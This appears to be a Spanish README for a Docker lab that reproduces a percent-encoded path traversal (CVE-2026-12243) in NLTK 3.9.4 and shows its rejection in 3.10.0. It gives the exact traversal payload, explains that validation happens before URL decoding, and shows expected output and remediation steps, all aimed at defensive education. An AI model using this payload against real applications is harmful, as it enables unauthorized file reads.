
# Laboratorio Docker que demuestra CVE-2026-12243, un path traversal en NLTK anterior a 3.10.0, contrastando el comportamiento vulnerable y el parcheado con un secreto sintético en un entorno aislado y sin conexión.
Un laboratorio Docker pequeño y reproducible que contrasta el comportamiento de path traversal con codificación porcentual en NLTK 3.9.4 con el comportamiento corregido en NLTK 3.10.0.
La versión vulnerable valida el nombre del recurso antes de la decodificación de la URL. El payload fijo %2e%2e/%2e%2e/outside/lab-secret.txt supera la comprobación, luego se decodifica a ../../outside/lab-secret.txt y escapa tanto del directorio de datos de NLTK configurado como del directorio de trabajo del proceso. La versión parcheada rechaza la misma entrada.
[!CAUTION] Este repositorio es solo para educación defensiva y pruebas autorizadas. El laboratorio utiliza un secreto sintético fijo dentro de un contenedor aislado. No lo adapte para acceder a sistemas o datos que no le pertenezcan o para los que no tenga permiso explícito de prueba.
| Contenedor | Versión de NLTK | Resultado esperado |
|---|---|---|
vulnerable | 3.9.4 | Lee el marcador sintético fuera de /lab/nltk_data |
patched |
No se utiliza descarga de corpus, servidor, puerto, bind mount ni conexión a internet en tiempo de ejecución.
docker compose)run.shgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
Resultado esperado:
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
La imagen afectada informa que /outside/lab-secret.txt no está autorizado, pero aun así devuelve su contenido porque NLTK 3.9.4 utiliza seguridad de rutas solo con advertencias por defecto. El texto de excepciones y advertencias puede variar ligeramente; run.sh utiliza el estado de salida del proceso, no una coincidencia de texto frágil, para decidir si la demostración fue exitosa.
Cada imagen contiene este diseño deliberadamente separado:
/
├── app/
│ └── poc.py # el CWD del proceso es /app
├── lab/
│ └── nltk_data/ # raíz de búsqueda de NLTK configurada
└── outside/
└── lab-secret.txt # marcador sintético público
poc.py reemplaza nltk.data.path con /lab/nltk_data y pasa el nombre de recurso fijo %2e%2e/%2e%2e/outside/lab-secret.txt a nltk.data.load(..., format="raw"). En la versión afectada, la decodificación ocurre demasiado tarde en el flujo de validación:
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
Debido a que el directorio de trabajo es /app, el canario está fuera de ambas ubicaciones que importan para la demostración: /app y /lab/nltk_data.
El script tiene dos aserciones explícitas:
Cualquier otro resultado sale con código distinto de cero, por lo que las comprobaciones automatizadas no pueden informar un falso éxito.
La configuración de Compose limita intencionalmente el laboratorio:
network_mode: none desactiva la red mientras se ejecuta cualquiera de las demostraciones.no-new-privileges habilitado.noexec es escribible.fixtures/lab-secret.txt, un marcador de prueba público copiado en la imagen durante la compilación.La compilación de la imagen necesita acceso al índice de paquetes para instalar las dos versiones fijadas de NLTK. La ejecución en tiempo de ejecución es sin conexión.
nltk.data.load() o nltk.data.find()El laboratorio fija 3.9.4 porque es la versión concreta mencionada en el informe original y 3.10.0 porque es la primera versión parcheada registrada en el aviso del mantenedor.
Actualice NLTK y manténgalo al día:
python -m pip install "nltk>=3.10.0"
También evite pasar nombres de recursos no confiables a las API de carga de archivos. Cuando se requiera selección por parte del usuario, asigne identificadores visibles al usuario a una lista blanca de recursos propiedad de la aplicación en lugar de aceptar rutas o URL directamente.
Ejecute cualquiera de los lados de forma independiente:
docker compose run --rm vulnerable
docker compose run --rm patched
Inspeccione la configuración de Compose completamente resuelta:
docker compose config
Elimine las imágenes de laboratorio compiladas localmente:
docker compose down --rmi local
permission denied: ./run.sh — ejecute chmod +x run.sh una vez.docker: command not found — instale Docker Desktop o Docker Engine.docker compose build --no-cache.aec4fcePublicado bajo la Licencia MIT.
3.10.0| Bloquea el traversal codificado |